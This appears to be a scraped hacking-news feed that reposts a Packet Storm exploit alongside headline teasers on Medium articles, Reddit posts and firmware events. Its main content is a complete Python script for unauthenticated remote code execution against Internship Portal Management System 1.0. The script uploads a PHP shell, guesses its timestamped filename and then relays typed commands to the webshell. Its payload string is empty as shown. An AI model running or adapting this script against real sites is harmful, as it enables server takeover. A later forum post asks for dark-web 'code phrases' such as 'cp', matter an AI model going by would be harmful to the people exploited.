Exploit Collector
Internship Portal Management System 1.0 Shell Upload

https://2.bp.blogspot.com/-MVgbYjy2n8E/WWlvDeDSliI/AAAAAAAAIK0/xNViOH31E8QoNbofn2xwVueZLLEvjlYYACLcBGAs/s1600/h130.png
Internship Portal Management System version 1.0 suffers from a remote shell upload vulnerability.

MD5 | 0e64d22b012cb716290ae978805da036

Download
# Exploit Title: Internship Portal Management System 1.0 - Remote Code Execution Via File Upload (Unauthenticated)
# Date: 2021-05-04
# Exploit Author: argenestel
# Vendor Homepage: https://www.sourcecodester.com/php/11712/internship-portal-management-system.html
# Software Link: https://www.sourcecodester.com/download-code?nid=11712&title=Internship+Portal+Management+System+using+PHP+with+Source+Code
# Version: 1.0
# Tested on: Debian 10

import requests
import time

#change the url to the site running the vulnerable system
url="http://127.0.0.1:4000"
#burp proxy
proxies = {
"http": "http://127.0.0.1:8080",
}
#payload
payload=''

#the upload point
insert_url=url+"/inserty.php"

def fill_details():
global payload
global shellend
global shellstart
print("Online Intern System 1.0 Exploit: Unauth RCE via File Upload")
#time start
shellstart=int(time.time())
#print(shellstart)
files = {'file':('shell.php',payload,
'image/png', {'Content-Disposition': 'form-data'}
)
}
data = {
"company_name":"some",
"first_name":"some",
"last_name":"some",
"email":"some@some.com",
"gender":"Male",
"insert_button":"Apply",
"terms":"on"
}
r = requests.post(insert_url, data=data, files=files)
if r.status_code == 200:
print("Exploited Intern System Successfully...")
shellend = int(time.time())
#print(shellend)
shell()
else:
print("Exploit Failed")

def shell():
for shellname in range(shellstart, shellend+1):
shellstr=str(shellname)
shell_url=url+"/upload/"+shellstr+"_shell.php"
r = requests.get(shell_url)
if r.status_code == 200:
shell_url=url+"/upload/"+shellstr+"_shell.php"
break

r = requests.get(shell_url)
if r.status_code == 200:
print("Shell Starting...")
while True:
cmd=input("cmd$ ")
r = requests.get(shell_url+"?cmd="+cmd)
print(r.text)
else:
print("File Name Error")
fill_details()


Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
GravCMS 1.10.7 Remote Command Execution

___________________________
@hacking_Attack
@Hacking_Video

Injecting Punycode URL Within the Arbitrary Text via Comment Box In Google Photo Sharing Option

Definition:Continue reading on InfoSec Write-ups »
Read more...

hacking: security in practice
CVE-2021-21551- Hundreds Of Millions Of Dell Computers At Risk Due to Multiple BIOS Driver Privilege Escalation Flaws

https://external-preview.redd.it/MdtKvrHgFUVUfh9pGQDVcw_MorvLB5kMuJsMYhiSlzA.jpg?width=640&crop=smart&auto=webp&s=38a11f993cc91564e8c218a61276ccadfd1cd2a3 submitted by /u/GHIDRAdev
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video

hacking: security in practice
[Events] "vBeer v2" online Party! - 7 May at 3PM UTC

Dear friends, on behalf of 3mdeb I invite you to a fresh "vBeer v2"! Let's discuss the open/libre firmware/hardware and other nice embedded things you have in mind. To join us, go to http://vpub.3mdeb.com/may7th on 7th May at 3PM UTC

at "v1" there was a great discussion with 50 firmware masters from all over the world! Here's my blogpost about it. And this time - together with your surprise suggestions (you're welcome!) - we could explore:

* new advances at opensource firmware/hardware world, like this new initiative for opensource FPGAs
* is the new emerging RISC-V hardware such as BeagleV - truly open?
* results of "Ideal platform for coreboot training" survey (which is still going on btw)

- and much more! There'd be a productive talk with a cosy atmosphere and good vibes - so, feel invited and take your beer! ;) http://vpub.3mdeb.com/may7th , 7th May at 3PM UTC

submitted by /u/Mike-Banon1
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video

Hacking on Medium
What the fuzz?! — The truth behind content discovery

https://cdn-images-1.medium.com/max/600/1*3DemJUbJWJdarAu13vkyMQ.png
Content discovery is an art. Let’s find out how to create this magic!

Continue reading on Medium »

___________________________
@hacking_Attack
@Hacking_Video

Hacking on Medium
Injecting Punycode URL Within the Arbitrary Text via Comment Box In Google Photo Sharing Option

https://cdn-images-1.medium.com/max/1200/1*fixbrVJK2IukU-VrLF1kdg.png
Definition:

Continue reading on InfoSec Write-ups »

___________________________
@hacking_Attack
@Hacking_Video

Hacking on Medium
Pentesting on Arch linux as WSL

https://cdn-images-1.medium.com/max/1495/1*YL5MPCHgQXES3W3ikvesCw.png
This is second part of the series Pentesting on Windows with WSL. In this we will setup Arch Linux on WSL2 and install hacking tool with…

Continue reading on Medium »

___________________________
@hacking_Attack
@Hacking_Video

Hacking on Medium
Apple lanza parches de seguridad urgentes para errores de día cero bajo ataques activos.

https://cdn-images-1.medium.com/max/922/0*rQsJ8BNi3VR_GIRc
PUBLICADO EN 4 MAYO, 2021 POR EHACKING

Continue reading on Medium »

___________________________
@hacking_Attack
@Hacking_Video

Hacking on Medium
Anonymous tumba página web del Ejército colombiano.

https://cdn-images-1.medium.com/max/985/0*Nl5CI5b3ZBZV9ETu
PUBLICADO EN 4 MAYO, 2021 POR EHACKING

Continue reading on Medium »

___________________________
@hacking_Attack
@Hacking_Video

Hacking on Medium
Microsoft alerta de docenas de vulnerabilidades críticas en dispositivos IoT.

https://cdn-images-1.medium.com/max/1145/0*-6ZRDE2ZC982ULUo
PUBLICADO EN 4 MAYO, 2021 POR EHACKING

Continue reading on Medium »

___________________________
@hacking_Attack
@Hacking_Video

Hacking on Medium
Windows 10 a Kali Linux Kurulumu

https://cdn-images-1.medium.com/max/1909/1*En0iWrv69XglPaLYGtCLGg.png
Windows 10 son zamanlarda Linux kernel seçeneğini daha da geliştirerek güzel bir hamle yaptı. WSL yani -Windows Subsystem for Linux…

Continue reading on Medium »

___________________________
@hacking_Attack
@Hacking_Video

Deep Web
Database

Database File

Hello all. Years ago I researched endlessly about tor, linux, tails, p2p, stuff like that to get a better understanding of everything. I am creating a sort of personal pdf about all of this stuff. If anyone here has any sort of tips, tricks, code phrases (ex. lw, dw, cp) or genuine links (links to real sites like scientology archives or declassified government files and not things that are horridly disgusting)that would be helpful to add in, please let me know. No I am not publishing this, it’s mainly for my own use as well as a small circle of friends in the computer science field. Thank You

submitted by /u/fidelian_cashflow91
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video